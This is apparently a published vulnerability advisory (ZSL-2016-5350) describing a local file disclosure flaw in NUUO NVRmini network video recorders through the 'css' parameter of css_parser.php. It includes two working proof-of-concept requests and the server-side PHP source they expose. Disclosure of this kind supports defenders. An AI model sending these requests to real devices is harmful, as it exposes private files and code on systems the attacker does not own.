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NUUO Local File Disclosure Vulnerability
Vendor: NUUO Inc.
Product web page: http://www.nuuo.com
Affected version: <=3.0.8 (NE-4160, NT-4040)
Summary: NUUO NVRmini 2 is the lightweight, portable NVR solution with NAS
functionality. Setup is simple and easy, with automatic port forwarding
settings built in. NVRmini 2 supports POS integration, making this the perfect
solution for small retail chain stores. NVRmini 2 also comes full equipped as
a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping
and RAID functions for data protection. Choose NVR and know that your valuable video
data is safe, always.
Desc: NUUO NVRmini, NVRmini2, Crystal and NVRSolo suffers from a file disclosure
vulnerability when input passed thru the 'css' parameter to 'css_parser.php' script
is not properly verified before being used to include files. This can be exploited
to disclose contents of files from local resources.
Tested on: GNU/Linux 3.0.8 (armv7l)
GNU/Linux 2.6.31.8 (armv5tel)
lighttpd/1.4.28
PHP/5.5.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5350
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5350.php
14.01.2016
--
Request:
--------
GET http://10.0.0.17/css_parser.php?css=__nvr_dat_tool___.php HTTP/1.1
Response:
---------
DatTool
';
echo 'alert("The system will start to repair videos right after system reboot. Please go to Setting Page to reboot system manually.")';
echo '';
touch(constant("FLASH_FOLDER")."/checkdat");
}
?>
Click the Repair button to repair the recorded videos became black due to incorrect video format. It may take a long time to repair videos, which depends on the amount of video files.
============================================================================
Request:
--------
GET http://10.0.0.17/css_parser.php?css=css_parser.php HTTP/1.1
Response:
---------
$value)
{
//echo "Key: $key; Value: $value
\n ";
if ($key != 'css')
{
$file = str_replace($key,$value,$file);
}
//system("echo \"Key: $key; Value: $value
\n \" >> $filename");
}
echo $file;
/*
foreach(array_reverse($matches[0]) as $match){
$match=preg_replace('/\s+/',' ',rtrim(ltrim($match)));
$names[]=preg_replace('/\s.*//*','',$match);
$values[]=preg_replace('/^[^\s]*\s/','',$match);
}
*/
?>